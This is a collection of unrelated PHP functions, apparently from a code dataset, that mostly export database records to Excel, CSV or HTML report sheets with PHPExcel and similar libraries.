$collection3)\n\t\t\t\t{\n\t\t\t\t$ledger_name = $collection3['ledger_account']['ledger_name'];\n\t\t\t\t}\n\n\t\t\t\t\t$result6 = $this->requestAction(array('controller' => 'hms', 'action' => 'ledger_sub_account_fetch'),array('pass'=>array($party_account_head)));\n\t\t\t\t\tforeach($result6 as $collection4)\n\t\t\t\t\t{\n\t\t\t\t\t$party_name = $collection4['ledger_sub_account']['name'];\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\tif($posting_date >= $from && $posting_date <= $to)\n\t\t{\n\t\t\t$total = $total+$amount;\n$excel.=\"<tr>\n<td style='text-align:right;'>$receipt_id</td>\n<td style='text-align:left;'>$posting_date</td>\n<td style='text-align:left;'>$due_date</td>\n<td style='text-align:left;'>$invoice_date</td>\n<td style='text-align:left;'>$ledger_name</td>\n<td style='text-align:left;'>$invoice_reference</td>\n<td style='text-align:left;'>$party_name</td>\n<td style='text-align:right;'>$amount</td>\n</tr>\";\n}}\n$excel.=\"<tr>\n<th colspan='7' style='text-align:right;'>Total</th>\n<th>$total</th>\n</tr>\n</table>\";\n\t\necho $excel;\n}", "function export_xls() {\n $engagementconfs = Configure::read('engagementConf');\n $this->set('engagementconfs',$engagementconfs);\n $data = $this->Session->read('xls_export');\n //$this->Session->delete('xls_export'); \n $this->set('rows',$data);\n $this->render('export_xls','export_xls');\n }", "public function makeComStatsExcelSheet($data)\n\t{\n\t\t/** Reading Excel with PHPExcel_IOFactory */\n\t\trequire_once 'PHPExcel/IOFactory.php';\n\n\t\t$objReader = PHPExcel_IOFactory::createReader('Excel5');\n\t\t\n\t\t// template file\n\t\t$objPHPExcel = $objReader->load(APPLICATION_PATH . '/../data/templates/com-stats-tpl.xls');\n\t}", "public function index()\n\t{\n\t\t//\n return Excel::create('Mastersheet BQu version', function($excel) {\n\n $excel->sheet('Marks-Input Sheet', function($sheet) {\n\n $sheet->loadView('export.input_sheet')\n ->with('student_module_marks_input',StudentModuleMarksInput::all()->reverse())\n ->with('module_element',ModuleElement::all())\n ->with('modules',Module::all())\n ->with('courses',ApplicationCourse::all())\n ->with('users',User::all());\n\n });\n $excel->setcreator('BQu');\n $excel->setlastModifiedBy('BQu');\n $excel->setcompany('BQuServices(PVT)LTD');\n $excel->setmanager('Rajitha');\n\n })->download('xls');\n\t}", "function excel_export($template = 0) {\n $data = $this->ticket->get_all()->result_object();\n $this->load->helper('report');\n $rows = array();\n $row = array(lang('items_item_number'), lang('items_name'), lang('items_category'), lang('items_supplier_id'), lang('items_cost_price'), lang('items_unit_price'), lang('items_tax_1_name'), lang('items_tax_1_percent'), lang('items_tax_2_name'), lang('items_tax_2_percent'), lang('items_tax_2_cummulative'), lang('items_quantity'), lang('items_reorder_level'), lang('items_location'), lang('items_description'), lang('items_allow_alt_desciption'), lang('items_is_serialized'), lang('items_item_id'));\n\n $rows[] = $row;\n foreach ($data as $r) {\n $taxdata = $this->Item_taxes->get_info($r->ticket_id);\n if (sizeof($taxdata) >= 2) {\n $r->taxn = $taxdata[0]['ticket_id'];\n $r->taxp = $taxdata[0]['code_ticket'];\n $r->taxn1 = $taxdata[1]['destination_name'];\n $r->taxp1 = $taxdata[1]['ticket_type_name'];\n $r->cumulative = $taxdata[1]['cumulative'] ? 'y' : '';\n } else if (sizeof($taxdata) == 1) {\n $r->taxn = $taxdata[0]['name'];\n $r->taxp = $taxdata[0]['percent'];\n $r->taxn1 = '';\n $r->taxp1 = '';\n $r->cumulative = '';\n } else {\n $r->taxn = '';\n $r->taxp = '';\n $r->taxn1 = '';\n $r->taxp1 = '';\n $r->cumulative = '';\n }\n\n $row = array(\n $r->ticket_id,\n $r->code_ticket,\n $r->destination_name,\n $r->destination_name,\n $r->ticket_type_name,\n $r->unit_price,\n $r->taxn,\n $r->taxp,\n $r->taxn1,\n $r->taxp1,\n $r->cumulative,\n $r->quantity,\n $r->reorder_level,\n $r->location,\n $r->description,\n $r->allow_alt_description,\n $r->is_serialized ? 'y' : '',\n $r->item_id\n );\n\n $rows[] = $row;\n }\n\n $content = array_to_csv($rows);\n if ($template) {\n force_download('items_export_mass_update.csv', $content);\n } else {\n force_download('items_export.csv', $content);\n }\n exit;\n }", "public static function excelDivisionsHeadings()\n {\n return [\n 'Divisions',\n 'Sub-Divisions',\n ];\n }", "private function headings() {\n\t\t$this->section_data['general_h_tags'] = array(\n\t\t\t'name' \t\t\t\t\t=> 'general_h_tags',\n\t\t\t'label' \t\t\t\t=> __( 'Headings', 'fixedtoc' ),\n\t\t\t'default' \t\t\t=> array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ),\n\t\t\t'type' \t\t\t\t\t=> 'multi_checkbox',\n\t\t\t'choices'\t\t\t\t=> array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h1' => 'Heading 1',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h2' => 'Heading 2',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h3' => 'Heading 3',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h4' => 'Heading 4',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h5' => 'Heading 5',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h6' => 'Heading 6',\n\t\t\t\t\t\t\t\t\t\t\t\t ),\n\t\t\t'des'\t\t\t\t\t\t=> __( 'Check which HTML headings automatically generated table of contents.', 'fixedtoc' )\n\t\t);\n\t}", "function header() {\n //\n //Get the fields in this sql \n $cols= $this->fields->get_array();\n //\n //Loop through the fields and display the <tds>\n foreach ($cols as $col) {\n //\n $name= is_null($col->alias) ? $col->to_str():$col->alias;\n echo \"<th>$name</th>\"; \n }\n }", "public function scheme_download(){\n $this->load->library('PHPExcel');\n $this->load->library('PHPExcel/IOFactory');\n\n $objPHPExcel = new PHPExcel();\n \n $objPHPExcel->createSheet();\n \n $objPHPExcel->getProperties()->setTitle(\"export\")->setDescription(\"none\");\n\n $objPHPExcel->setActiveSheetIndex(0);\n\n // Field names in the first row\n $fields = array(\n 'Scheme Name',\n 'Start Date',\n 'End Date',\n 'Product'\n );\n \n $col = 0;\n foreach ($fields as $field)\n {\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, 1, $field);\n $col++;\n }\n \n // Fetching the table data\n $this->load->model('scheme/schememodel');\n $results = $this->model_scheme_schememodel->getschemedata($this->request->get);\n \n $row = 2;\n \n foreach($results as $data)\n {\n $col = 0;\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(0, $row, $data['Scheme_Name']);\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(1, $row, $data['START_DATE']);\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(2, $row, $data['END_DATE']);\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(3, $row, $data['product_name']);\n $objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('B')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('C')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('D')->setAutoSize(true);\n \n \n \n \n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->setItalic(true);\n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->setBold(true);\n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->setSize(12);\n $objPHPExcel->getActiveSheet()->getDefaultRowDimension('A1:L1')->setRowHeight(20);\n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->getColor()->setRGB('FF0000');\n $row++;\n }\n\n \n\n \n$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n // Sending headers to force the user to download the file\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"Attendance_report_'.date('dMy').'.xls\"');\n header('Cache-Control: max-age=0');\n\n $objWriter->save('php://output');\n \n }", "public function run()\n {\n\t\t$objPHPExcel = PHPExcel_IOFactory::load('public/excel-imports/designations.xlsx');\n\t\t$sheet = $objPHPExcel->getSheet(0);\n\t\t$highestRow = $sheet->getHighestDataRow();\n\t\t$highestColumn = $sheet->getHighestDataColumn();\n\t\t$header = $sheet->rangeToArray('A1:' . $highestColumn . '1', null, true, false);\n\t\t$header = $header[0];\n\t\tforeach ($header as $key => $column) {\n\t\t\tif ($column == null) {\n\t\t\t\tunset($header[$key]);\n\t\t\t}\n\t\t}\n\n\t\t$designation = $sheet->rangeToArray('A2:' . $highestColumn . $highestRow, null, true, false);\n\t\tif (!empty($designation)) {\n\t\t\tforeach ($designation as $key => $designationValue) {\n\t\t\t\t$val = [];\n\t\t\t\tforeach ($header as $headerKey => $column) {\n\t\t\t\t\tif (!$column) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$header_col = str_replace(' ', '_', strtolower($column));\n\t\t\t\t\t\t$val[$header_col] = $designationValue[$headerKey];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$val = (object) $val;\n\t\t\t\ttry {\n\t\t\t\t\tif (empty($val->company)) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' - Company is required');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}if (empty($val->name)) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' - Name is required');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tif (empty($val->grade)) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' - Grade name is required');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tdump($val->company, $val->name, $val->grade);\n\n\t\t\t\t\t$validator = Validator::make((array) $val, [\n\t\t\t\t\t\t'name' => [\n\t\t\t\t\t\t\t'string',\n\t\t\t\t\t\t\t'max:255',\n\t\t\t\t\t\t],\n\t\t\t\t\t]);\n\t\t\t\t\tif ($validator->fails()) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' ' . implode('', $validator->errors()->all()));\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tdump($val->company, $val->name, $val->grade);\n\n\t\t\t\t\t$company = Company::select(\n\t\t\t\t\t\t'id',\n\t\t\t\t\t\t'name'\n\t\t\t\t\t)\n\t\t\t\t\t\t->where('id', $val->company)\n\t\t\t\t\t\t->first();\n\t\t\t\t\tif (!$company) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' - Company not found');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\t$grade = Entity::select(\n\t\t\t\t\t\t'id',\n\t\t\t\t\t\t'name'\n\t\t\t\t\t)\n\t\t\t\t\t\t->where('name', $val->grade)\n\t\t\t\t\t\t->first();\n\n\t\t\t\t\tif (!$grade) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' - Grade Not Found');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\t$existing_designation = Designation::where('company_id',$company->id)\n\t\t\t\t\t->where('name',$val->name)\n\t\t\t\t\t->where('grade_id',$grade->id)->first();\n\t\t\t\t\t\n\t\t\t\t\tif ($existing_designation) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' - Designation Already Exist');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\t$designation = new Designation;\n\t\t\t\t\t$designation->company_id = $company->id;\n\t\t\t\t\t$designation->name = $val->name;\n\t\t\t\t\t$designation->grade_id = $grade->id;\n\t\t\t\t\t$designation->created_by = 1;\n\t\t\t\t\t$designation->save();\n\t\t\t\t\tdump(' === updated === ');\n\n\t\t\t\t} catch (\\Exception $e) {\n\t\t\t\t\tdump($e);\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\n\t\t\tdd(' == completed ==');\n\t\t}\n }", "function perform_export()\n {\n global $CFG;\n require_once($CFG->dirroot.'/blocks/bcgt/lib.php');\n global $CFG, $USER;\n $name = preg_replace(\"/[^a-z 0-9]/i\", \"\", $this->get_name());\n \n ob_clean();\n header(\"Pragma: public\");\n header('Content-Type: application/vnd.ms-excel; charset=utf-8');\n header('Content-Disposition: attachment; filename=\"'.$name.'.xlsx\"'); \n header(\"Cache-Control: must-revalidate, post-check=0, pre-check=0\");\n header(\"Cache-Control: private\", false);\n\n require_once $CFG->dirroot . '/blocks/bcgt/lib/PHPExcel/Classes/PHPExcel.php';\n \n $objPHPExcel = new \\PHPExcel();\n $objPHPExcel->getProperties()\n ->setCreator(fullname($USER))\n ->setLastModifiedBy(fullname($USER))\n ->setTitle($this->get_name())\n ->setSubject($this->get_name())\n ->setDescription($this->get_description());\n\n // Remove default sheet\n $objPHPExcel->removeSheetByIndex(0);\n \n $sheetIndex = 0;\n \n // Set current sheet\n $objPHPExcel->createSheet($sheetIndex);\n $objPHPExcel->setActiveSheetIndex($sheetIndex);\n $objPHPExcel->getActiveSheet()->setTitle(\"Report\");\n \n $rowNum = 1;\n\n // Headers\n if(isset($this->header))\n {\n if(!$this->has_split_header())\n {\n $col = 0;\n foreach($this->header AS $head)\n {\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $rowNum, $head);\n $col++;\n }\n $rowNum++;\n }\n else\n {\n //foreach row\n foreach($this->header AS $row)\n {\n $col = 0;\n foreach($row AS $rowObj)\n {\n $columnCount = $rowObj->colCount;\n $columnContent = $rowObj->content;\n //add all the cells, \n //thenmerge\n $startCol = $col;\n for($i=0;$i<$columnCount;$i++)\n {\n if($i == 0)\n {\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $rowNum, $columnContent);\n }\n else\n {\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $rowNum, '');\n }\n $col++;\n }\n $endCol = $col;\n if($columnCount != 1)\n {\n $objPHPExcel->getActiveSheet()->mergeCells(''.PHPExcel_Cell::stringFromColumnIndex($startCol).\n ''.$rowNum.':'.PHPExcel_Cell::stringFromColumnIndex($endCol - 1).''.$rowNum);\n }\n \n \n }\n $rowNum++;\n }\n } \n \n }\n //data\n if(isset($this->data))\n {\n foreach($this->data AS $data)\n {\n $col = 0;\n foreach($data AS $cell)\n { \n if(is_a($cell, 'stdClass'))\n {\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $rowNum, $this->build_excell_cell($cell));\n $objPHPExcel->getActiveSheet()->getStyle(''.PHPExcel_Cell::stringFromColumnIndex($col).''.$rowNum)->applyFromArray(\n array(\n 'fill' => array(\n 'type' => PHPExcel_Style_Fill::FILL_SOLID,\n 'color' => $this->get_excell_cell_color($cell)\n ),\n 'borders' => array(\n 'outline' => array(\n 'style' => PHPExcel_Style_Border::BORDER_THIN,\n 'color' => array('rgb'=>'cfcfcf')\n )\n )\n )\n ); \n if(isset($cell->colspan) && $cell->colspan > 1)\n {\n $objPHPExcel->getActiveSheet()->mergeCells(''.PHPExcel_Cell::stringFromColumnIndex($col).\n ''.$rowNum.':'.PHPExcel_Cell::stringFromColumnIndex($col + ($cell->colspan - 1)).''.$rowNum);\n \n $col = $col + ($cell->colspan - 1);\n }\n }\n else\n {\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $rowNum, $cell);\n }\n \n $col++;\n } \n $rowNum++;\n }\n }\n \n // Freeze rows and cols (everything to the left of D and above 2)\n $objPHPExcel->getActiveSheet()->freezePane($this->get_frozen_panes());\n \n // End\n $objPHPExcel->setActiveSheetIndex(0);\n $objWriter = \\PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\n ob_clean();\n $objWriter->save('php://output');\n \n exit;\n }", "public function download_category_excel_sheet() {\n $spreadsheet = new Spreadsheet();\n $sheet = $spreadsheet->getActiveSheet();\n $sheet->setCellValue('A1', 'ar_name');\n $sheet->setCellValue('B1', 'en_name');\n $sheet->setCellValue('C1', 'discount');\n\n $writer = new Xlsx($spreadsheet);\n\n $filename = 'add_category_template';\n\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"' . $filename . '.xlsx\"');\n\n $writer->save('php://output');\n }", "public function DowloadExcel()\n {\n return $export->sheet('sheetName', function($sheet)\n {\n\n })->export('xls');\n }", "function generate_xls(){ \n //Would like to ask for term to generate report for. Can we do this?\n global $CFG, $DB, $USER;\n\n\n\n //find all workers\n $workers = $DB->get_records('block_timetracker_workerinfo');\n\n foreach($workers as $worker){\n //demo courses, et. al.\n if($worker->courseid >= 73 && $worker->courseid <= 76){\n continue;\n }\n\n $earnings = get_earnings_this_term($worker->id,$worker->courseid);\n \n $course = $DB->get_record('course', array('id'=>$worker->courseid));\n echo $course->shortname.','.$worker->lastname.','.$worker->firstname.\n ','.$earnings.','.$worker->maxtermearnings.\"\\n\";\n }\n}", "public function Header()\r\n\t{\r\n\t\t$this->Ln();\r\n\t\t$this->SetFont('Arial','',14);\r\n\t\t$this->Cell(170,7,\"Date :: \". $this->today_date ,1,0,'C');\r\n\t\t$this->Ln();\r\n\t\t$this->SetFont('Arial','',14); \r\n\t\t$this->MultiCell(170,8,\"Room Things Report \\n\".$this->title,1,'C');\r\n\t\t$this->Ln(5);\r\n\r\n\t}", "public function exportExcelAction()\n {\n $fileName = 'handovertwo.xls';\n $content = $this->getLayout()->createBlock('bs_handover/adminhtml_handovertwo_grid')\n ->getExcelFile();\n $this->_prepareDownloadResponse($fileName, $content);\n }", "public function action_list_approval_department(){\n\n $param = \\Input::param();\n $export_date = isset($param['export_date'])?date('Y-m-d', strtotime($param['export_date'])):date('Y-m-d');\n\n $objPHPExcel = new \\PHPExcel();\n $objPHPExcel->getProperties()->setCreator('Vision')\n ->setLastModifiedBy('Vision')\n ->setTitle('Office 2007 Document')\n ->setSubject('Office 2007 Document')\n ->setDescription('Document has been generated by PHP')\n ->setKeywords('Office 2007 openxml php')\n ->setCategory('Route File');\n\n $header = ['事業本部コード','事業本部','事業部コード','事業部','部門コード','部門', '適用開始日', '適用終了日','第1 承認者','第2 承認者','第3 承認者','第4 承認者','第5 承認者','第6 承認者','第7 承認者','第8 承認者','第9 承認者'];\n $last_column = null;\n foreach($header as $i=>$v){\n $column = \\PHPExcel_Cell::stringFromColumnIndex($i);\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue($column.'1',$v);\n $objPHPExcel->getActiveSheet()->getStyle($column.'1')\n ->applyFromArray([\n 'font' => [\n 'name' => 'Times New Roman',\n 'bold' => true,\n 'italic' => false,\n 'size' => 10,\n 'color' => ['rgb'=> \\PHPExcel_Style_Color::COLOR_WHITE]\n ],\n 'alignment' => [\n 'horizontal' => \\PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\n 'vertical' => \\PHPExcel_Style_Alignment::VERTICAL_CENTER,\n 'wrap' => false\n ]\n ]);\n switch($i+1){\n case 1:\n case 3:\n case 5:\n $width = 10;\n break;\n case 2:\n $width = 18;\n break;\n case 4:\n case 6:\n $width = 30;\n break;\n default:\n $width = 20;\n break;\n }\n $objPHPExcel->getActiveSheet()->getColumnDimension($column)->setWidth($width);\n $last_column = $column;\n }\n \n /*====================================\n * Get list user has department enable_start_date >= export day <= enable_end_date\n * Or enable_start_date >= export day && enable_end_date IS NULL\n *====================================*/\n $query = \\DB::select('MAD.*',\n \\DB::expr('BUS.code AS business_code'), \\DB::expr('BUS.name AS business_name'), \n \\DB::expr('DIV.code AS division_code'),\\DB::expr('DIV.name AS division_name'),\n \\DB::expr('DEP.name AS department_name'), \\DB::expr('DEP.code AS department_code'), \\DB::expr('DEP.sub_code AS department_sub_code'))\n ->from(['m_approval_department', 'MAD'])\n ->join(['m_department', 'DEP'], 'left')->on('DEP.id', '=', 'MAD.m_department_id')->on('DEP.level', '=', \\DB::expr(3))\n ->join(['m_department', 'DIV'], 'left')->on('DIV.id', '=', 'DEP.parent')->on('DIV.level', '=', \\DB::expr(2))\n ->join(['m_department', 'BUS'], 'left')->on('BUS.id', '=', 'DIV.parent')->on('BUS.level', '=', \\DB::expr(1))\n ->where('MAD.item_status', '=', 'active')\n ->where('DEP.allow_export_routes', '=', 1)\n\n ->and_where('DEP.item_status', '=', 'active')\n ->and_where_open()\n ->and_where(\\DB::expr(\"'{$export_date}'\"), 'BETWEEN', [\\DB::expr('DEP.enable_start_date'), \\DB::expr('DEP.enable_end_date')])\n ->or_where_open()\n ->and_where(\\DB::expr('DEP.enable_start_date'), '<=', $export_date)\n ->and_where(\\DB::expr('DEP.enable_end_date'), 'IS', \\DB::expr('NULL'))\n ->or_where_close()\n ->and_where_close()\n \n ->and_where('MAD.item_status', '=', 'active')\n ->and_where_open()\n ->and_where(\\DB::expr(\"'{$export_date}'\"), 'BETWEEN', [\\DB::expr('MAD.enable_start_date'), \\DB::expr('MAD.enable_end_date')])\n ->or_where_open()\n ->and_where(\\DB::expr('MAD.enable_start_date'), '<=', $export_date)\n ->and_where(\\DB::expr('MAD.enable_end_date'), 'IS', \\DB::expr('NULL'))\n ->or_where_close()\n ->and_where_close()\n\n ->group_by('MAD.m_department_id', 'MAD.enable_start_date')\n ;\n $items = $query->execute()->as_array();\n \n \n //set content\n $i = 0;\n foreach($items as $item){\n $row = $i+2;\n // \\Vision_Common::system_format_date(strtotime($user['entry_date'])):null)\n $objPHPExcel->setActiveSheetIndex()->setCellValue('A'.$row,$item['business_code'])\n ->setCellValue('B'.$row,$item['business_name'])\n ->setCellValue('C'.$row,$item['division_code'])\n ->setCellValue('D'.$row,$item['division_name'])\n ->setCellValue('E'.$row,$item['department_code'])\n ->setCellValue('F'.$row,$item['department_name'])\n ->setCellValue('G'.$row,$item['enable_start_date']?\\Vision_Common::system_format_date(strtotime($item['enable_start_date'])):null)\n ->setCellValue('H'.$row,$item['enable_end_date']?\\Vision_Common::system_format_date(strtotime($item['enable_end_date'])):null)\n ;\n\n //Get user of routes\n $query = \\DB::select('MU.fullname')\n ->from(['m_user', 'MU'])\n ->join(['m_approval_department', 'MAD'], 'left')->on('MAD.m_user_id', '=', 'MU.id')\n ->where('MU.item_status', '=', 'active')\n ->and_where('MAD.item_status', '=', 'active')\n ->and_where('MAD.m_department_id', '=', $item['m_department_id'])\n ->and_where('MAD.enable_start_date', '=', $item['enable_start_date'])\n ->order_by('MAD.order', 'ASC')\n ;\n $users = $query->execute()->as_array(); \n if(!empty($users)){\n $col = 8;\n foreach ($users as $user) {\n $objPHPExcel->setActiveSheetIndex()->setCellValue(\\PHPExcel_Cell::stringFromColumnIndex($col).$row,$user['fullname']);\n $col++;\n }\n }\n\n $i++;\n }\n\n\n $format = ['alignment'=>array('horizontal'=> \\PHPExcel_Style_Alignment::HORIZONTAL_CENTER,'wrap'=>true)];\n $objPHPExcel->getActiveSheet()->getStyle('A1:U1')->getFill()->setFillType(\\PHPExcel_Style_Fill::FILL_SOLID);\n $objPHPExcel->getActiveSheet()->getStyle('A1:U1')->getFill()->getStartColor()->setRGB('25a9cb');\n\n header(\"Last-Modified: \". gmdate(\"D, d M Y H:i:s\") .\" GMT\");\n header(\"Cache-Control: max-age=0\");\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"決裁経路(組織)-'.$export_date.'.xls\"');\n $objWriter = \\PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\n $objWriter->save('php://output');\n exit; \n }", "function createTourLogSheet($name, $data, &$workBook, $writeStats){\n\t$file = 0;\n\t$excel = 1;\n\t$cols = array('Tour ID', 'Date/Time', 'Majors', 'Student', 'Parent', 'People', 'School', 'Year', 'City', 'State', 'Email', 'Phone', 'Tour Status', 'Comments from Family', 'Comments from Ambassadors');\n\t$entries = array('id', 'tourTime', 'majorsOfInterest', 'studentName', 'parentName', 'numPeople', 'school', 'yearInSchool', 'city', 'state', 'email', 'phone', 'status', 'tourComments', 'ambComments');\n\n\t$tourDayCounts = array_fill(0, 7, 0);\n\t$tourWeekCounts = array_fill(0, 53, 0);\n\t$tourDateCounts = array_fill(0, 53, null);\n\t$weekStrings = array();\n\t$numSemesterTours = count($data);\n\t$timeStringLength = 0;\n\tif($excel)\n\t\t$tourSheet = & $workBook->add_worksheet($name. ' Tours');\n\tif($file)\n\t\tfwrite($f, \"\\nWorksheet: $name Tours\\n\");\n\t$numCols = count($cols);\n\tfor($col = 0; $col < $numCols; $col++){\n\t\t$colName = $cols[$col];\n\t\t$colRef = $entries[$col];\n\t\t$maxWidth = getTextWidth($colName);\n\t\tif($excel)\n\t\t\t$tourSheet->write_string(0, $col, $colName);\n\t\tif($file)\n\t\t\tfwrite($f, \"Row: 0, Col: $col, $colRef: $colName, width:$maxWidth\\t\");\n\n\t\tfor($tour = 0; $tour < $numSemesterTours; $tour++){\n\t\t\t$text = $data[$tour][$colRef];\n\t\t\t$width = getTextWidth($text);\n\t\t\tif($width > $maxWidth){\n\t\t\t\t$maxWidth = $width;\n\t\t\t}\n\n\t\t\tif($excel){\n\t\t\t\tif(is_numeric($text)){\n\t\t\t\t\t$tourSheet->write_number($tour + 1, $col, intval($text));\n\t\t\t\t} else {\n\t\t\t\t\t$tourSheet->write_string($tour + 1, $col, $text);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif($file)\n\t\t\t\tfwrite($f, \"Row: $tour, Col: $col, val: $text, width: $width\\t\");\n\n\t\t\t/*\n\t\t\t //formats do not work at the moment\n\t\t\t if($col == 0){\n\t\t\t\t$tourSheet->set_row($tour + 1, NULL, $formatOffset + ($tour % 2));\n\t\t\t}\n\t\t\t*/\n\t\t}\n\t\tif($file)\n\t\t\tfwrite($f, \"\\n\");\n\t\tif($excel)\n\t\t\t$tourSheet->set_column($col, $col, $maxWidth * (2.0/3.0));\n\t}\n\n\tfor($tour = 0; $tour < $numSemesterTours; $tour++){\n\t\tif($file)\n\t\t\tfwrite($f, \"Week 03: \".$tourWeekCounts[\"03\"].\"\\n\");\n\t\t//and now we add each tour to the stats\n\t\t$timestamp = strtotime($data[$tour]['tourTime']);\n\t\tif($file)\n\t\t\tfwrite($f, \"timestamp: $timestamp Time:\".$tour['tourTime'].\" Week: \".date('W', $timestamp).\"\\n\");\n\t\tif(($timestamp == false) || ($timestamp == -1)) continue;\n\t\t$tourDOW = intval(date('w', $timestamp));\n\t\t$tourDayCounts[\"$tourDOW\"] += 1;\n\t\t$tourWeek = intval(date('W', $timestamp));\n\t\t$tourWeekCounts[\"$tourWeek\"] += 1;\n\t\tif($tourDateCounts[\"$tourWeek\"] == null){\n\t\t\t$tourDateCounts[\"$tourWeek\"] = array_fill(0,7,0);\n\t\t}\n\t\t$tourDateCounts[\"$tourWeek\"][\"$tourDOW\"] += 1;\n\n\t\t//and create the date string for this week if it doesn't exist already\n\t\tif(!array_key_exists($tourWeek, $weekStrings)){\n\t\t\t$timeInfo = getdate($timestamp);\n\t\t\t$sunTimestamp = mktime(0,0,0, $timeInfo['mon'], $timeInfo['mday'] - $tourDOW, $timeInfo['year']);\n\t\t\t$satTimestamp = mktime(0,0,0, $timeInfo['mon'], $timeInfo['mday'] - $tourDOW + 6, $timeInfo['year']);\n\t\t\tif(date('M', $sunTimestamp) == date('M', $satTimestamp)){\n\t\t\t\t$timeStr = date('M j', $sunTimestamp) . ' - ' . date('j', $satTimestamp);\n\t\t\t} else {\n\t\t\t\t$timeStr = date('M j', $sunTimestamp) . ' - ' . date('M j', $satTimestamp);\n\t\t\t}\n\t\t\t$weekStrings[\"$tourWeek\"] = $timeStr;\n\t\t\t$tsl = getTextWidth($timeStr);\n\t\t\tif($tsl > $timeStringLength) $timeStringLength = $tsl;\n\t\t}\n\t}\n\n\tif(!$writeStats) return;\n\n\tif($excel)\n\t\t$statsSheet = &$workBook->add_worksheet($name.' Stats');\n\n\t//fill the column headers and set the the column widths\n\t$statsSheet->set_column(0, 0, $timeStringLength * (2.0/3.0));\n\t$statsSheet->write_string(0, 1, \"Monday\");\n\t$statsSheet->set_column(1, 1, getTextWidth(\"Monday\") * (2.0/3.0));\n\t$statsSheet->write_string(0, 2, \"Tuesday\");\n\t$statsSheet->set_column(2, 2, getTextWidth(\"Tuesday\") * (2.0/3.0));\n\t$statsSheet->write_string(0, 3, \"Wednesday\");\n\t$statsSheet->set_column(3, 3, getTextWidth(\"Wednesday\") * (2.0/3.0));\n\t$statsSheet->write_string(0, 4, \"Thursday\");\n\t$statsSheet->set_column(4, 4, getTextWidth(\"Thursday\") * (2.0/3.0));\n\t$statsSheet->write_string(0, 5, \"Friday\");\n\t$statsSheet->set_column(5, 5, getTextWidth(\"Friday\") * (2.0/3.0));\n\t$statsSheet->write_string(0, 6, \"Total\");\n\t$statsSheet->set_column(6, 6, getTextWidth(\"Total\") * (2.0/3.0));\n\n\t//then start populating all the data from the tours\n\t$numWeeks = count($tourDateCounts);\n\t$displayWeek = 0;\n\t//write the counts for each week\n\tfor($week = 0; $week < $numWeeks; $week++){\n\t\tif($file){\n\t\t\tfwrite($f, \"Week $week, Tours \".$tourWeekCounts[$week].\"\\n\");\n\t\t\tfor($i = 0; $i < 7; $i++){\n\t\t\t\tfwrite($f, \"Day $i, Tours \".$tourDateCounts[$week][$i].\"\\n\");\n\t\t\t}\n\t\t}\n\t\tif($tourWeekCounts[$week] == 0) continue;\n\t\t$statsSheet->write_string($displayWeek+1, 0, $weekStrings[$week]);\n\t\tfor($day = 1; $day < 6; $day++){\n\t\t\tif($excel)\n\t\t\t\t$statsSheet->write_number($displayWeek + 1, $day, $tourDateCounts[$week][$day]);\n\t\t\tif($file)\n\t\t\t\tfwrite($f, \"Week $week, Day $day, Tours \".$tourDateCounts[$week][$day].\"\\n\");\n\t\t}\n\t\t//write the totals for each week\n\t\tif($excel)\n\t\t\t$statsSheet->write_number($displayWeek + 1, 6, 